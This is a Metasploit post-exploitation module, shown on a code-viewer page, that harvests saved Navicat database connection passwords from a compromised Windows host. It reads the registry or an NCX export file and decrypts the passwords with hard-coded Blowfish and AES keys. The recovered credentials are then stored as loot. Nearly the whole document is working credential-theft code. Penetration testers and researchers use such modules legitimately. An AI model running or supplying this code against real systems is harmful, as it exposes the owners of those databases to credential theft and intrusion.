Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/navicat.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
#
5
# @blurbdust based this code off of https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
6
# and https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/enum_ms_product_keys.rb
7
##
8
9
class MetasploitModule < Msf::Post
10
include Msf::Post::Windows::Registry
11
include Msf::Post::File
12
# secret_key = Digest::SHA1.digest('3DC5CA39')
13
SECRET_KEY = "B\xCE\xB2q\xA5\xE4X\xB7J\xEA\x93\x94y\"5C\x91\x873@".freeze
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Windows Gather Navicat Passwords',
20
'Description' => %q{ This module will find and decrypt stored Navicat passwords. },
21
'License' => MSF_LICENSE,
22
'References' => [
23
[ 'URL', 'https://github.com/HyperSine/how-does-navicat-encrypt-password'],
24
[ 'URL', 'https://blog.kali-team.cn/Metasploit-Navicat-fbc1390cf57c40b5b576584c48b8e125']
25
],
26
'Author' => [
27
'HyperSine', # Research and PoC
28
'Kali-Team <kali-team[at]qq.com>' # MSF module
29
],
30
'Platform' => [ 'win' ],
31
'SessionTypes' => [ 'meterpreter', 'shell'],
32
'Notes' => {
33
'Stability' => [CRASH_SAFE],
34
'Reliability' => [],
35
'SideEffects' => []
36
}
37
)
38
)
39
register_options(
40
[
41
OptString.new('NCX_PATH', [ false, 'Specify the path of the NCX export file (e.g. connections.ncx).']),
42
]
43
)
44
end
45
46
def blowfish_encrypt(data = "\xFF" * 8)
47
cipher = OpenSSL::Cipher.new('bf-ecb').encrypt
48
cipher.padding = 0
49
cipher.key_len = SECRET_KEY.length
50
cipher.key = SECRET_KEY
51
cipher.update(data) << cipher.final
52
end
53
54
def blowfish_decrypt(text)
55
cipher = OpenSSL::Cipher.new('bf-cbc').decrypt
56
cipher.padding = 0
57
cipher.key_len = SECRET_KEY.length
58
cipher.key = SECRET_KEY
59
cipher.iv = "\x00" * 8
60
cipher.update(text) + cipher.final
61
end
62
63
def strxor(str, second)
64
str.bytes.zip(second.bytes).map { |a, b| (a ^ b).chr }.join
65
end
66
67
def decrypt_navicat11(encrypted_data)
68
password = ''
69
return password unless encrypted_data
70
71
iv = blowfish_encrypt
72
ciphertext = [encrypted_data].pack('H*')
73
cv = iv
74
full_round, left_length = ciphertext.length.divmod(8)
75
76
if full_round > 0
77
for i in 0..full_round - 1 do
78
t = blowfish_decrypt(ciphertext[i * 8, 8])
79
t = strxor(t, cv)
80
password += t
81
cv = strxor(cv, ciphertext[i * 8, 8])
82
end
83
end
84
85
if left_length > 0
86
cv = blowfish_encrypt(cv)
87
test_value = strxor(ciphertext[8 * full_round, left_length], cv[0, left_length])
88
password += test_value
89
end
90
91
password
92
end
93
94
def decrypt_navicat_ncx(ciphertext)
95
ciphertext = [ciphertext].pack('H*')
96
aes = OpenSSL::Cipher.new('aes-128-cbc')
97
aes.decrypt
98
aes.key = 'libcckeylibcckey'
99
aes.padding = 0
100
aes.iv = 'libcciv libcciv '
101
aes.update(ciphertext)
102
end
103
104
def navicat_store_config(config)
105
if %i[hostname service_name port username].any? { |e| config[e].blank? } || config[:password].nil?
106
vprint_warning('Key data is empty, skip saving service credential')
107
return # If any of these fields are nil or are empty (with the exception of the password field which can be empty),
108
# then we shouldn't proceed, as we don't have enough info to store a credential which someone could actually
109
# use against a target.
110
end
111
112
service_data = {
113
address: config[:hostname],
114
port: config[:port],
115
service_name: config[:service_name],
116
protocol: 'tcp',
117
workspace_id: myworkspace_id
118
}
119
120
credential_data = {
121
origin_type: :session,
122
session_id: session_db_id,
123
post_reference_name: refname,
124
private_type: :password,
125
private_data: config[:password],
126
username: config[:username],
127
status: Metasploit::Model::Login::Status::UNTRIED
128
}.merge(service_data)
129
create_credential_and_login(credential_data)
130
end
131
132
def parse_xml(data)
133
mxml = REXML::Document.new(data).root
134
result = []
135
mxml.elements.to_a('//Connection').each do |node|
136
host = node.attributes['Host']
137
port = node.attributes['Port']
138
proto = node.attributes['ConnType']
139
username = node.attributes['UserName']
140
name = node.attributes['ConnectionName']
141
epassword = node.attributes['Password']
142
password = decrypt_navicat_ncx(epassword)
143
result << {
144
name: name,
145
protocol: proto.downcase,
146
hostname: host,
147
port: port,
148
username: username,
149
password: password || epassword
150
}
151
end
152
print_and_save(result)
153
return result
154
end
155
156
def get_reg
157
reg_keys = Hash.new
158
159
reg_keys['mysql'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers'
160
reg_keys['mariadb'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers'
161
reg_keys['mongodb'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers'
162
reg_keys['mssql'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers'
163
reg_keys['oracle'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers'
164
reg_keys['postgres'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers'
165
reg_keys['sqlite'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers'
166
result = []
167
reg_keys.each_pair do |db_name, reg_key|
168
subkeys = registry_enumkeys(reg_key)
169
next if subkeys.nil?
170
171
subkeys.each do |subkey|
172
enc_pwd_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Pwd')
173
next if enc_pwd_value.nil?
174
175
username_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'UserName')
176
port_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Port')
177
host_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Host')
178
179
pwd_value = decrypt_navicat11(enc_pwd_value)
180
result << {
181
name: subkey,
182
protocol: db_name,
183
hostname: host_value,
184
port: port_value,
185
username: username_value,
186
password: pwd_value || enc_pwd_value
187
}
188
end
189
end
190
print_and_save(result)
191
return result
192
end
193
194
def print_and_save(results)
195
columns = [
196
'Name',
197
'Protocol',
198
'Hostname',
199
'Port',
200
'Username',
201
'Password',
202
]
203
tbl = Rex::Text::Table.new(
204
'Header' => 'Navicat Sessions',
205
'Columns' => columns
206
)
207
results.each do |item|
208
tbl << item.values
209
config = {
210
name: item[:name],
211
hostname: item[:hostname],
212
service_name: item[:protocol],
213
port: item[:port].nil? ? '' : item[:port],
214
username: item[:username],
215
password: item[:password]
216
}
217
navicat_store_config(config)
218
end
219
print_line(tbl.to_s)
220
if tbl.rows.count > 0
221
path = store_loot('host.navicat_session', 'text/plain', session, tbl, 'navicat_sessions.txt', 'Navicat Sessions')
222
print_good("Session info stored in: #{path}")
223
end
224
end
225
226
def run
227
print_status('Gathering Navicat password information.')
228
if datastore['NCX_PATH'].present?
229
ncx_path = datastore['NCX_PATH']
230
print_status("Looking for #{ncx_path}")
231
begin
232
if file_exist?(ncx_path)
233
condata = read_file(ncx_path) || ''
234
fail_with(Failure::Unknown, "The file #{ncx_path} could not be read") if condata.empty?
235
236
loot_path = store_loot('navicat.creds', 'text/xml', session, condata, ncx_path)
237
print_good("navicat.ncx saved to #{loot_path}")
238
parse_xml(condata)
239
print_status("Finished processing #{ncx_path}")
240
end
241
rescue Rex::Post::Meterpreter::RequestError
242
fail_with(Failure::Unknown, "The file #{ncx_path} either could not be read or does not exist")
243
end
244
else
245
get_reg
246
print_status('Finished processing from the registry')
247
end
248
end
249
250
end
251
252